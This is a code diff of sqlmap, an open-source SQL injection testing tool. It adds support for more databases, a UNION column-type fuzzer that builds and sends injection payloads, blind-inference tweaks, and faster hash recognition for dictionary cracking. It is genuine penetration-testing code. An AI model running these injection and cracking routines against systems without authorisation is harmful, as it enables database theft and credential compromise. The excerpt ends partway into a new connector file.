if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
|
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
|
||||||
|
|
||||||
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
|
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID):
|
||||||
alias = randomStr(lowercase=True, seed=hash(expression))
|
alias = randomStr(lowercase=True, seed=hash(expression))
|
||||||
expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example
|
expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example
|
||||||
expression += " AS %s" % alias
|
expression += " AS %s" % alias
|
||||||
@@ -412,6 +412,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
|||||||
kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
|
kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
|
||||||
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
|
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
|
||||||
|
|
||||||
|
if expected == EXPECTED.BOOL:
|
||||||
|
# Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
|
||||||
|
|
||||||
|
if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")):
|
||||||
|
forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression
|
||||||
|
|
||||||
try:
|
try:
|
||||||
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
|
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
|
||||||
except SqlmapConnectionException:
|
except SqlmapConnectionException:
|
||||||
@@ -493,10 +499,10 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
|||||||
|
|
||||||
kb.safeCharEncode = False
|
kb.safeCharEncode = False
|
||||||
|
|
||||||
if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
|
if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted:
|
||||||
warnMsg = "in case of continuous data retrieval problems you are advised to try "
|
warnMsg = "in case of continuous data retrieval problems you are advised to try "
|
||||||
warnMsg += "a switch '--no-cast' "
|
warnMsg += "a switch '--no-cast' "
|
||||||
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MONETDB, DBMS.MCKOI, DBMS.MIMERSQL) else ""
|
warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else ""
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
# Dirty patch (safe-encoded unicode characters)
|
# Dirty patch (safe-encoded unicode characters)
|
||||||
|
|||||||
@@ -116,6 +116,16 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
|
payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
|
||||||
expression = match.group(1).strip()
|
expression = match.group(1).strip()
|
||||||
|
|
||||||
|
elif Backend.isDbms(DBMS.FRONTBASE):
|
||||||
|
match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)
|
||||||
|
if match:
|
||||||
|
payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
|
||||||
|
payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)
|
||||||
|
expression = match.group(2).strip()
|
||||||
|
|
||||||
|
|
||||||
|
#<inference query="(SELECT SUBSTRING((%s) FROM %d FOR 1) FROM %s)>'%c'"/>
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
|
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
|
||||||
if conf.predictOutput:
|
if conf.predictOutput:
|
||||||
@@ -127,9 +137,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
|
|
||||||
if partialValue:
|
if partialValue:
|
||||||
firstChar = len(partialValue)
|
firstChar = len(partialValue)
|
||||||
elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
|
elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
|
||||||
firstChar = 0
|
firstChar = 0
|
||||||
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
|
elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
|
||||||
firstChar = int(conf.firstChar) - 1
|
firstChar = int(conf.firstChar) - 1
|
||||||
if kb.fileReadMode:
|
if kb.fileReadMode:
|
||||||
firstChar <<= 1
|
firstChar <<= 1
|
||||||
@@ -138,9 +148,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
else:
|
else:
|
||||||
firstChar = 0
|
firstChar = 0
|
||||||
|
|
||||||
if re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
|
if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression):
|
||||||
lastChar = 0
|
lastChar = 0
|
||||||
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
|
elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
|
||||||
lastChar = int(conf.lastChar)
|
lastChar = int(conf.lastChar)
|
||||||
elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int):
|
elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int):
|
||||||
lastChar = int(lastChar)
|
lastChar = int(lastChar)
|
||||||
@@ -203,7 +213,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
hintValue = kb.hintValue
|
hintValue = kb.hintValue
|
||||||
|
|
||||||
if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
|
if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
|
if "'%s'" % CHAR_INFERENCE_MARK in payload:
|
||||||
posValue = hintValue[idx - 1]
|
posValue = hintValue[idx - 1]
|
||||||
else:
|
else:
|
||||||
posValue = ord(hintValue[idx - 1])
|
posValue = ord(hintValue[idx - 1])
|
||||||
@@ -649,8 +659,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
|
elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
|
||||||
dataToStdout(filterControlChars(val))
|
dataToStdout(filterControlChars(val))
|
||||||
|
|
||||||
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
|
# Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
|
if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
|
||||||
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
|
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
|
||||||
break
|
break
|
||||||
elif charsetType and partialValue[-1:].isspace():
|
elif charsetType and partialValue[-1:].isspace():
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import itertools
|
||||||
import logging
|
import logging
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
@@ -12,6 +13,7 @@ import re
|
|||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import average
|
from lib.core.common import average
|
||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import getPublicTypeMembers
|
||||||
from lib.core.common import isNullValue
|
from lib.core.common import isNullValue
|
||||||
from lib.core.common import listToStrValue
|
from lib.core.common import listToStrValue
|
||||||
from lib.core.common import popValue
|
from lib.core.common import popValue
|
||||||
@@ -29,9 +31,13 @@ from lib.core.compat import xrange
|
|||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import queries
|
||||||
from lib.core.decorators import stackedmethod
|
from lib.core.decorators import stackedmethod
|
||||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||||
|
from lib.core.enums import FUZZ_UNION_COLUMN
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
|
from lib.core.settings import FUZZ_UNION_ERROR_REGEX
|
||||||
|
from lib.core.settings import FUZZ_UNION_MAX_COLUMNS
|
||||||
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
|
from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
|
||||||
from lib.core.settings import MAX_RATIO
|
from lib.core.settings import MAX_RATIO
|
||||||
from lib.core.settings import MIN_RATIO
|
from lib.core.settings import MIN_RATIO
|
||||||
@@ -171,6 +177,36 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
def _fuzzUnionCols(place, parameter, prefix, suffix):
|
||||||
|
retVal = None
|
||||||
|
|
||||||
|
if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns:
|
||||||
|
comment = queries[Backend.getIdentifiedDbms()].comment.query
|
||||||
|
|
||||||
|
choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True)
|
||||||
|
random.shuffle(choices)
|
||||||
|
|
||||||
|
for candidate in itertools.product(choices, repeat=kb.orderByColumns):
|
||||||
|
if retVal:
|
||||||
|
break
|
||||||
|
elif FUZZ_UNION_COLUMN.STRING not in candidate:
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate]
|
||||||
|
|
||||||
|
query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix)
|
||||||
|
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
|
||||||
|
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE)
|
||||||
|
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||||
|
|
||||||
|
if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""):
|
||||||
|
for column in candidate:
|
||||||
|
if column.startswith("'") and column.strip("'") in (page or ""):
|
||||||
|
retVal = [(_ if _ != column else "%s") for _ in candidate]
|
||||||
|
break
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
|
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
|
||||||
validPayload = None
|
validPayload = None
|
||||||
vector = None
|
vector = None
|
||||||
@@ -205,7 +241,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
|||||||
if content and phrase in content:
|
if content and phrase in content:
|
||||||
validPayload = payload
|
validPayload = payload
|
||||||
kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
|
kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
|
||||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial)
|
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate)
|
||||||
|
|
||||||
if where == PAYLOAD.WHERE.ORIGINAL:
|
if where == PAYLOAD.WHERE.ORIGINAL:
|
||||||
# Prepare expression with delimiters
|
# Prepare expression with delimiters
|
||||||
@@ -223,7 +259,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
|||||||
content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
|
content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
|
||||||
|
|
||||||
if not all(_ in content for _ in (phrase, phrase2)):
|
if not all(_ in content for _ in (phrase, phrase2)):
|
||||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
|
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
|
||||||
elif not kb.unionDuplicates:
|
elif not kb.unionDuplicates:
|
||||||
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
|
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
|
||||||
|
|
||||||
@@ -237,7 +273,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
|
|||||||
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
|
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
|
||||||
warnMsg = "output with limited number of rows detected. Switching to partial mode"
|
warnMsg = "output with limited number of rows detected. Switching to partial mode"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
|
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate)
|
||||||
|
|
||||||
unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
|
unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
|
||||||
|
|
||||||
@@ -277,17 +313,27 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
|
|||||||
vector = None
|
vector = None
|
||||||
orderBy = kb.orderByColumns
|
orderBy = kb.orderByColumns
|
||||||
uChars = (conf.uChar, kb.uChar)
|
uChars = (conf.uChar, kb.uChar)
|
||||||
|
where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE
|
||||||
|
|
||||||
# In case that user explicitly stated number of columns affected
|
# In case that user explicitly stated number of columns affected
|
||||||
if conf.uColsStop == conf.uColsStart:
|
if conf.uColsStop == conf.uColsStart:
|
||||||
count = conf.uColsStart
|
count = conf.uColsStart
|
||||||
else:
|
else:
|
||||||
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)
|
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where)
|
||||||
|
|
||||||
if count:
|
if count:
|
||||||
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
|
validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
|
||||||
|
|
||||||
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)):
|
if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)):
|
||||||
|
if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS:
|
||||||
|
if kb.fuzzUnionTest is None:
|
||||||
|
msg = "do you want to (re)try to find proper "
|
||||||
|
msg += "UNION column types with fuzzy test? [y/N] "
|
||||||
|
|
||||||
|
kb.fuzzUnionTest = readInput(msg, default='N', boolean=True)
|
||||||
|
if kb.fuzzUnionTest:
|
||||||
|
kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix)
|
||||||
|
|
||||||
warnMsg = "if UNION based SQL injection is not detected, "
|
warnMsg = "if UNION based SQL injection is not detected, "
|
||||||
warnMsg += "please consider "
|
warnMsg += "please consider "
|
||||||
|
|
||||||
|
|||||||
@@ -78,6 +78,14 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
|
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
|
||||||
kb.unionDuplicates = vector[7]
|
kb.unionDuplicates = vector[7]
|
||||||
kb.forcePartialUnion = vector[8]
|
kb.forcePartialUnion = vector[8]
|
||||||
|
|
||||||
|
# Note: introduced columns in 1.4.2.42#dev
|
||||||
|
try:
|
||||||
|
kb.tableFrom = vector[9]
|
||||||
|
kb.unionTemplate = vector[10]
|
||||||
|
except IndexError:
|
||||||
|
pass
|
||||||
|
|
||||||
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
|
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
|
||||||
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
|
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
|
||||||
else:
|
else:
|
||||||
|
|||||||
+4
-2
@@ -29,7 +29,7 @@ def checkDependencies():
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
elif dbmsName == DBMS.MYSQL:
|
elif dbmsName == DBMS.MYSQL:
|
||||||
__import__("pymysql")
|
__import__("pymysql")
|
||||||
elif dbmsName == DBMS.PGSQL:
|
elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB):
|
||||||
__import__("psycopg2")
|
__import__("psycopg2")
|
||||||
elif dbmsName == DBMS.ORACLE:
|
elif dbmsName == DBMS.ORACLE:
|
||||||
__import__("cx_Oracle")
|
__import__("cx_Oracle")
|
||||||
@@ -41,7 +41,7 @@ def checkDependencies():
|
|||||||
__import__("kinterbasdb")
|
__import__("kinterbasdb")
|
||||||
elif dbmsName == DBMS.DB2:
|
elif dbmsName == DBMS.DB2:
|
||||||
__import__("ibm_db_dbi")
|
__import__("ibm_db_dbi")
|
||||||
elif dbmsName == DBMS.HSQLDB:
|
elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE):
|
||||||
__import__("jaydebeapi")
|
__import__("jaydebeapi")
|
||||||
__import__("jpype")
|
__import__("jpype")
|
||||||
elif dbmsName == DBMS.INFORMIX:
|
elif dbmsName == DBMS.INFORMIX:
|
||||||
@@ -56,6 +56,8 @@ def checkDependencies():
|
|||||||
__import__("prestodb")
|
__import__("prestodb")
|
||||||
elif dbmsName == DBMS.MIMERSQL:
|
elif dbmsName == DBMS.MIMERSQL:
|
||||||
__import__("mimerpy")
|
__import__("mimerpy")
|
||||||
|
elif dbmsName == DBMS.CUBRID:
|
||||||
|
__import__("CUBRIDdb")
|
||||||
except:
|
except:
|
||||||
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
|
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
|
||||||
warnMsg += "in order to directly connect to the DBMS "
|
warnMsg += "in order to directly connect to the DBMS "
|
||||||
|
|||||||
+20
-6
@@ -741,7 +741,9 @@ def hashRecognition(value):
|
|||||||
if value and len(value) >= 8 and ' ' not in value: # Note: pre-filter condition (for optimization purposes)
|
if value and len(value) >= 8 and ' ' not in value: # Note: pre-filter condition (for optimization purposes)
|
||||||
isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL)
|
isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL)
|
||||||
|
|
||||||
if isinstance(value, six.string_types):
|
if kb.cache.hashRegex is None:
|
||||||
|
parts = []
|
||||||
|
|
||||||
for name, regex in getPublicTypeMembers(HASH):
|
for name, regex in getPublicTypeMembers(HASH):
|
||||||
# Hashes for Oracle and old MySQL look the same hence these checks
|
# Hashes for Oracle and old MySQL look the same hence these checks
|
||||||
if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
|
if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
|
||||||
@@ -749,9 +751,16 @@ def hashRecognition(value):
|
|||||||
elif regex == HASH.CRYPT_GENERIC:
|
elif regex == HASH.CRYPT_GENERIC:
|
||||||
if any((value.lower() == value, value.upper() == value)):
|
if any((value.lower() == value, value.upper() == value)):
|
||||||
continue
|
continue
|
||||||
elif re.match(regex, value):
|
else:
|
||||||
retVal = regex
|
parts.append("(?P<%s>%s)" % (name, regex))
|
||||||
break
|
|
||||||
|
kb.cache.hashRegex = ('|'.join(parts)).replace("(?i)", "")
|
||||||
|
|
||||||
|
if isinstance(value, six.string_types):
|
||||||
|
match = re.search(kb.cache.hashRegex, value, re.I)
|
||||||
|
if match:
|
||||||
|
algorithm, _ = [_ for _ in match.groupdict().items() if _[1] is not None][0]
|
||||||
|
retVal = getattr(HASH, algorithm)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -913,6 +922,8 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
|
|||||||
proc_count.value -= 1
|
proc_count.value -= 1
|
||||||
|
|
||||||
def dictionaryAttack(attack_dict):
|
def dictionaryAttack(attack_dict):
|
||||||
|
global _multiprocessing
|
||||||
|
|
||||||
suffix_list = [""]
|
suffix_list = [""]
|
||||||
custom_wordlist = [""]
|
custom_wordlist = [""]
|
||||||
hash_regexes = []
|
hash_regexes = []
|
||||||
@@ -922,6 +933,9 @@ def dictionaryAttack(attack_dict):
|
|||||||
processException = False
|
processException = False
|
||||||
foundHash = False
|
foundHash = False
|
||||||
|
|
||||||
|
if conf.disableMulti:
|
||||||
|
_multiprocessing = None
|
||||||
|
|
||||||
for (_, hashes) in attack_dict.items():
|
for (_, hashes) in attack_dict.items():
|
||||||
for hash_ in hashes:
|
for hash_ in hashes:
|
||||||
if not hash_:
|
if not hash_:
|
||||||
@@ -1108,7 +1122,7 @@ def dictionaryAttack(attack_dict):
|
|||||||
|
|
||||||
else:
|
else:
|
||||||
warnMsg = "multiprocessing hash cracking is currently "
|
warnMsg = "multiprocessing hash cracking is currently "
|
||||||
warnMsg += "not supported on this platform"
|
warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled")
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
retVal = _queue.Queue()
|
retVal = _queue.Queue()
|
||||||
@@ -1196,7 +1210,7 @@ def dictionaryAttack(attack_dict):
|
|||||||
|
|
||||||
else:
|
else:
|
||||||
warnMsg = "multiprocessing hash cracking is currently "
|
warnMsg = "multiprocessing hash cracking is currently "
|
||||||
warnMsg += "not supported on this platform"
|
warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled")
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
class Value(object):
|
class Value(object):
|
||||||
|
|||||||
@@ -80,8 +80,6 @@ def purge(directory):
|
|||||||
pass
|
pass
|
||||||
|
|
||||||
logger.debug("deleting the whole directory tree")
|
logger.debug("deleting the whole directory tree")
|
||||||
os.chdir(os.path.join(directory, ".."))
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
shutil.rmtree(directory)
|
shutil.rmtree(directory)
|
||||||
except OSError as ex:
|
except OSError as ex:
|
||||||
|
|||||||
@@ -31,7 +31,7 @@ def timeout(func, args=None, kwargs=None, duration=1, default=None):
|
|||||||
thread.start()
|
thread.start()
|
||||||
thread.join(duration)
|
thread.join(duration)
|
||||||
|
|
||||||
if thread.isAlive():
|
if thread.is_alive():
|
||||||
return default, TIMEOUT_STATE.TIMEOUT
|
return default, TIMEOUT_STATE.TIMEOUT
|
||||||
else:
|
else:
|
||||||
return thread.result, thread.timeout_state
|
return thread.result, thread.timeout_state
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
|||||||
|
|
||||||
class Enumeration(GenericEnumeration):
|
class Enumeration(GenericEnumeration):
|
||||||
def getBanner(self):
|
def getBanner(self):
|
||||||
warnMsg = "on Microsoft Access it is not possible to get a banner"
|
warnMsg = "on Microsoft Access it is not possible to get the banner"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|||||||
Vendored
+30
@@ -0,0 +1,30 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.settings import CACHE_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
|
||||||
|
from plugins.dbms.cache.enumeration import Enumeration
|
||||||
|
from plugins.dbms.cache.filesystem import Filesystem
|
||||||
|
from plugins.dbms.cache.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.cache.syntax import Syntax
|
||||||
|
from plugins.dbms.cache.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class CacheMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines Cache methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = CACHE_SYSTEM_DBS
|
||||||
|
|
||||||
|
for cls in self.__class__.__bases__:
|
||||||
|
cls.__init__(self)
|
||||||
|
|
||||||
|
unescaper[DBMS.CACHE] = Syntax.escape
|
||||||
Vendored
+77
@@ -0,0 +1,77 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
import jaydebeapi
|
||||||
|
import jpype
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from lib.core.common import checkFile
|
||||||
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.common import readInput
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
|
||||||
|
User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html
|
||||||
|
API: -
|
||||||
|
Debian package: -
|
||||||
|
License: LGPL & Apache License 2.0
|
||||||
|
"""
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.initConnection()
|
||||||
|
try:
|
||||||
|
msg = "please enter the location of 'cachejdbc.jar'? "
